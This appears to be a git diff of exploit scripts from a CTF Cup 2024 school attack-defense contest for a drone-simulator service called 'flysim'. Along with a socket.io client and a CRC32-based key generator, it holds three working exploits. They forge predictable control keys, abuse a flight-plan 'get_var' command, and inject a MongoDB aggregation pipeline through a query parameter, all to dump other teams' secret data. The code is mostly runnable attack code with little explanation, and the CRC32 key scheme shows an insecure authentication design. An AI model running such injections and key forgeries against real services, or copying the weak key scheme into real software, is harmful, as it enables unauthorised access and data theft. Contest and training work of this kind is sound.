f"Created drone with ID: {self.drone_id}, control key: {self.control_key}"
|
||||
)
|
||||
return True
|
||||
else:
|
||||
print(f"Failed to create drone: {response.text}")
|
||||
return False
|
||||
|
||||
def get_all_drones(self):
|
||||
response = requests.get(f"{self.base_url}/get_drones")
|
||||
print("All drones:", response.json())
|
||||
|
||||
def get_drones_with_details(self, with_what_details):
|
||||
response = requests.get(f"{self.base_url}/get_drones?with={with_what_details}")
|
||||
return response.json()
|
||||
|
||||
def connect_to_drone(self):
|
||||
try:
|
||||
self.sio.connect(self.base_url, socketio_path="/socket.io")
|
||||
self.sio.emit(
|
||||
"join_drone",
|
||||
{"drone_id": self.drone_id, "control_key": self.control_key},
|
||||
)
|
||||
return True
|
||||
except Exception as e:
|
||||
print(f"Connection error: {e}")
|
||||
return False
|
||||
|
||||
def update_position(self, position):
|
||||
self.sio.emit("set_position", {"drone_id": self.drone_id, "position": position})
|
||||
|
||||
def update_velocity(self, velocity):
|
||||
self.sio.emit("set_velocity", {"drone_id": self.drone_id, "velocity": velocity})
|
||||
|
||||
def disconnect(self):
|
||||
try:
|
||||
self.sio.disconnect()
|
||||
except Exception as e:
|
||||
print(f"Disconnection error: {e}")
|
||||
@@ -0,0 +1,4 @@
|
||||
requests==2.32.3
|
||||
python-socketio==5.11.4
|
||||
websocket-client==1.8.0
|
||||
click==8.1.7
|
||||
132
ctfcup24-school-ad/sploits/flysim/drone_client.py
Normal file
132
ctfcup24-school-ad/sploits/flysim/drone_client.py
Normal file
@@ -0,0 +1,132 @@
|
||||
import socketio
|
||||
import requests
|
||||
import time
|
||||
import json
|
||||
from threading import Event
|
||||
|
||||
|
||||
def print(*args, **kwargs):
|
||||
pass # disable print
|
||||
|
||||
|
||||
class DroneClient:
|
||||
def __init__(self, ip="127.0.0.1"):
|
||||
sio = socketio.Client()
|
||||
self.base_url = f"http://{ip}:9000/"
|
||||
self.sio = sio
|
||||
|
||||
self.drone_id = None
|
||||
self.control_key = None
|
||||
self.data_received_event = Event()
|
||||
self.last_received_data = None
|
||||
|
||||
self.velocity_updated_event = Event()
|
||||
self.last_received_veldata = None
|
||||
|
||||
self.position_updated_event = Event()
|
||||
self.last_received_posdata = None
|
||||
|
||||
@sio.on("connect")
|
||||
def on_connect():
|
||||
print("Connected to server")
|
||||
|
||||
@sio.on("disconnect")
|
||||
def on_disconnect():
|
||||
print("Disconnected from server")
|
||||
|
||||
@sio.on("drone_connected")
|
||||
def on_drone_connected(data):
|
||||
print(f"Drone connection status: {data['data']}")
|
||||
|
||||
@sio.on("data_updated")
|
||||
def on_data_updated(data):
|
||||
if isinstance(data, dict):
|
||||
self.last_received_data = data
|
||||
self.data_received_event.set()
|
||||
|
||||
@sio.on("velocity_updated")
|
||||
def on_velocity_updated(data):
|
||||
if isinstance(data, dict):
|
||||
self.last_received_veldata = data
|
||||
self.velocity_updated_event.set()
|
||||
|
||||
@sio.on("position_updated")
|
||||
def on_position_updated(data):
|
||||
if isinstance(data, dict):
|
||||
self.last_received_posdata = data
|
||||
self.position_updated_event.set()
|
||||
|
||||
@sio.on("error")
|
||||
def on_error(data):
|
||||
print(f"Error: {data['data']}")
|
||||
|
||||
def wait_for_data_msg(self, timeout=None):
|
||||
self.data_received_event.clear()
|
||||
if self.data_received_event.wait(timeout):
|
||||
return self.last_received_data
|
||||
return None
|
||||
|
||||
def wait_for_vel_msg(self, timeout=None):
|
||||
self.velocity_updated_event.clear()
|
||||
if self.velocity_updated_event.wait(timeout):
|
||||
return self.last_received_veldata
|
||||
return None
|
||||
|
||||
def wait_for_pos_msg(self, timeout=None):
|
||||
self.position_updated_event.clear()
|
||||
if self.position_updated_event.wait(timeout):
|
||||
return self.last_received_posdata
|
||||
return None
|
||||
|
||||
def create_drone(self, label=None, secret_data=None, flight_plan=None):
|
||||
response = requests.post(
|
||||
f"{self.base_url}/create_drone",
|
||||
timeout=8000,
|
||||
json={}
|
||||
| ({"label": label} if label else {})
|
||||
| ({"secret_data": secret_data} if secret_data else {})
|
||||
| ({"flight_plan": flight_plan} if flight_plan else {}),
|
||||
)
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
self.drone_id = data["id"]
|
||||
self.control_key = data["control_key"]
|
||||
print(
|
||||
f"Created drone with ID: {self.drone_id}, control key: {self.control_key}"
|
||||
)
|
||||
return True
|
||||
else:
|
||||
print(f"Failed to create drone: {response.text}")
|
||||
return False
|
||||
|
||||
def get_all_drones(self):
|
||||
response = requests.get(f"{self.base_url}/get_drones")
|
||||
print("All drones:", response.json())
|
||||
|
||||
def get_drones_with_details(self, with_what_details):
|
||||
response = requests.get(f"{self.base_url}/get_drones?with={with_what_details}")
|
||||
return response.json()
|
||||
|
||||
def connect_to_drone(self):
|
||||
try:
|
||||
self.sio.connect(self.base_url, socketio_path="/socket.io")
|
||||
self.sio.emit(
|
||||
"join_drone",
|
||||
{"drone_id": self.drone_id, "control_key": self.control_key},
|
||||
)
|
||||
return True
|
||||
except Exception as e:
|
||||
print(f"Connection error: {e}")
|
||||
return False
|
||||
|
||||
def update_position(self, position):
|
||||
self.sio.emit("set_position", {"drone_id": self.drone_id, "position": position})
|
||||
|
||||
def update_velocity(self, velocity):
|
||||
self.sio.emit("set_velocity", {"drone_id": self.drone_id, "velocity": velocity})
|
||||
|
||||
def disconnect(self):
|
||||
try:
|
||||
self.sio.disconnect()
|
||||
except Exception as e:
|
||||
print(f"Disconnection error: {e}")
|
||||
12
ctfcup24-school-ad/sploits/flysim/session_authenticator_codon/build.sh
Executable file
12
ctfcup24-school-ad/sploits/flysim/session_authenticator_codon/build.sh
Executable file
@@ -0,0 +1,12 @@
|
||||
#!/bin/sh
|
||||
# https://github.com/exaloop/codon
|
||||
|
||||
rm -rf build
|
||||
rm -rf *.so
|
||||
python3 setup.py build_ext --inplace
|
||||
rm -rf build
|
||||
mv session_authenticator.cpython*.so session_authenticator.so
|
||||
echo "Testing"
|
||||
python3 -c "import session_authenticator; print(session_authenticator.generate('a', 'bc'))"
|
||||
|
||||
# you need only session_authenticator.so file
|
||||
@@ -0,0 +1,21 @@
|
||||
import time
|
||||
def generate_control_key(_id: str, label: str) -> str:
|
||||
msg = _id + label
|
||||
crc = 0xFFFFFFFF
|
||||
polynomial = 0xEDB88320
|
||||
|
||||
for char in msg:
|
||||
crc ^= ord(char)
|
||||
for _ in range(8):
|
||||
if crc & 1:
|
||||
crc = (crc >> 1) ^ polynomial
|
||||
else:
|
||||
crc >>= 1
|
||||
|
||||
return hex(crc ^ 0xFFFFFFFF)[2:]
|
||||
|
||||
def generate(_id: str, label: str) -> str:
|
||||
return generate_control_key(_id, label)
|
||||
|
||||
def verify(_id: str, label: str, control_key: str) -> bool:
|
||||
return generate_control_key(_id, label) == control_key
|
||||
91
ctfcup24-school-ad/sploits/flysim/session_authenticator_codon/setup.py
Executable file
91
ctfcup24-school-ad/sploits/flysim/session_authenticator_codon/setup.py
Executable file
@@ -0,0 +1,91 @@
|
||||
# setup.py
|
||||
import os
|
||||
import sys
|
||||
import shutil
|
||||
from pathlib import Path
|
||||
from setuptools import setup, Extension
|
||||
from setuptools.command.build_ext import build_ext
|
||||
|
||||
# Find Codon
|
||||
codon_path = os.environ.get('CODON_DIR')
|
||||
if not codon_path:
|
||||
c = shutil.which('codon')
|
||||
if c:
|
||||
codon_path = Path(c).parent / '..'
|
||||
else:
|
||||
codon_path = Path(codon_path)
|
||||
for path in [
|
||||
os.path.expanduser('~') + '/.codon',
|
||||
os.getcwd() + '/..',
|
||||
]:
|
||||
path = Path(path)
|
||||
if not codon_path and path.exists():
|
||||
codon_path = path
|
||||
break
|
||||
|
||||
if (
|
||||
not codon_path
|
||||
or not (codon_path / 'include' / 'codon').exists()
|
||||
or not (codon_path / 'lib' / 'codon').exists()
|
||||
):
|
||||
print(
|
||||
'Cannot find Codon.',
|
||||
'Please either install Codon (https://github.com/exaloop/codon),',
|
||||
'or set CODON_DIR if Codon is not in PATH.',
|
||||
file=sys.stderr,
|
||||
)
|
||||
sys.exit(1)
|
||||
codon_path = codon_path.resolve()
|
||||
print('Found Codon:', str(codon_path))
|
||||
|
||||
# Build with Codon
|
||||
class CodonExtension(Extension):
|
||||
def __init__(self, name, source):
|
||||
self.source = source
|
||||
super().__init__(name, sources=[], language='c')
|
||||
|
||||
class BuildCodonExt(build_ext):
|
||||
def build_extensions(self):
|
||||
pass
|
||||
|
||||
def run(self):
|
||||
inplace, self.inplace = self.inplace, False
|
||||
super().run()
|
||||
for ext in self.extensions:
|
||||
self.build_codon(ext)
|
||||
if inplace:
|
||||
self.copy_extensions_to_source()
|
||||
|
||||
def build_codon(self, ext):
|
||||
extension_path = Path(self.get_ext_fullpath(ext.name))
|
||||
build_dir = Path(self.build_temp)
|
||||
os.makedirs(build_dir, exist_ok=True)
|
||||
os.makedirs(extension_path.parent.absolute(), exist_ok=True)
|
||||
|
||||
codon_cmd = str(codon_path / 'bin' / 'codon')
|
||||
optimization = '-debug' if self.debug else '-release'
|
||||
self.spawn([codon_cmd, 'build', optimization, '--relocation-model=pic', '-pyext',
|
||||
'-o', str(extension_path) + ".o", '-module', ext.name, ext.source])
|
||||
|
||||
ext.runtime_library_dirs = [str(codon_path / 'lib' / 'codon')]
|
||||
self.compiler.link_shared_object(
|
||||
[str(extension_path) + '.o'],
|
||||
str(extension_path),
|
||||
libraries=['codonrt'],
|
||||
library_dirs=ext.runtime_library_dirs,
|
||||
runtime_library_dirs=ext.runtime_library_dirs,
|
||||
extra_preargs=['-Wl,-rpath,@loader_path'],
|
||||
debug=self.debug,
|
||||
build_temp=self.build_temp,
|
||||
)
|
||||
self.distribution.codon_lib = extension_path
|
||||
|
||||
setup(
|
||||
name='session_authenticator',
|
||||
version='0.1',
|
||||
packages=['session_authenticator'],
|
||||
ext_modules=[
|
||||
CodonExtension('session_authenticator', 'session_authenticator.codon'),
|
||||
],
|
||||
cmdclass={'build_ext': BuildCodonExt}
|
||||
)
|
||||
34
ctfcup24-school-ad/sploits/flysim/sploit_crc32.py
Executable file
34
ctfcup24-school-ad/sploits/flysim/sploit_crc32.py
Executable file
@@ -0,0 +1,34 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import sys
|
||||
import drone_client
|
||||
import time
|
||||
import json
|
||||
import zlib
|
||||
|
||||
|
||||
def droneid_to_drone_obj(client, drone_id):
|
||||
det = client.get_drones_with_details(json.dumps([{"$match": {}}]))
|
||||
for d in det:
|
||||
if d["id"] == drone_id:
|
||||
return d
|
||||
return None
|
||||
|
||||
|
||||
IP = sys.argv[1]
|
||||
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
|
||||
IP
|
||||
]
|
||||
for drone_id in drone_ids[::-1]:
|
||||
client = drone_client.DroneClient(ip=IP)
|
||||
drone_obj = droneid_to_drone_obj(client, drone_id)
|
||||
client.drone_id = drone_id
|
||||
cont_key = hex(zlib.crc32((drone_id + drone_obj["label"]).encode()))[
|
||||
2:
|
||||
] # generate 'not so random' control_key
|
||||
client.control_key = cont_key
|
||||
client.connect_to_drone()
|
||||
|
||||
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
||||
print(drone_obj_with_secret["secret_data"], flush=True)
|
||||
22
ctfcup24-school-ad/sploits/flysim/sploit_flight_plan.py
Executable file
22
ctfcup24-school-ad/sploits/flysim/sploit_flight_plan.py
Executable file
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import sys
|
||||
import drone_client
|
||||
import time
|
||||
import json
|
||||
|
||||
IP = sys.argv[1]
|
||||
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
|
||||
IP
|
||||
]
|
||||
fp = "\n".join([f"0 get_var {d} secret_data" for d in drone_ids])
|
||||
|
||||
client = drone_client.DroneClient(ip=IP)
|
||||
client.create_drone(label="qweqwe11", secret_data="qweqwe", flight_plan=fp)
|
||||
client.connect_to_drone()
|
||||
|
||||
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
||||
print(drone_obj_with_secret["flight_log"], flush=True)
|
||||
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
||||
print(drone_obj_with_secret["flight_log"], flush=True)
|
||||
41
ctfcup24-school-ad/sploits/flysim/sploit_nosql.py
Executable file
41
ctfcup24-school-ad/sploits/flysim/sploit_nosql.py
Executable file
@@ -0,0 +1,41 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import sys
|
||||
import drone_client
|
||||
import time
|
||||
import json
|
||||
|
||||
|
||||
def droneid_to_drone_obj(client, drone_id):
|
||||
det = client.get_drones_with_details(json.dumps([{"$match": {}}]))
|
||||
for d in det:
|
||||
if d["id"] == drone_id:
|
||||
return d
|
||||
return None
|
||||
|
||||
|
||||
IP = sys.argv[1]
|
||||
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
|
||||
IP
|
||||
]
|
||||
for drone_id in drone_ids[::-1]:
|
||||
client = drone_client.DroneClient(ip=IP)
|
||||
drone_obj = droneid_to_drone_obj(client, drone_id)
|
||||
det = client.get_drones_with_details(
|
||||
json.dumps(
|
||||
[
|
||||
{"$match": {"label": drone_obj["label"]}},
|
||||
{
|
||||
"$lookup": {
|
||||
"from": "drones",
|
||||
"as": "result",
|
||||
"pipeline": [{"$match": {"label": {"$regex": "^.*"}}}],
|
||||
}
|
||||
},
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
print(det, flush=True)
|
||||
exit(0)
|
||||
Reference in New Issue
Block a user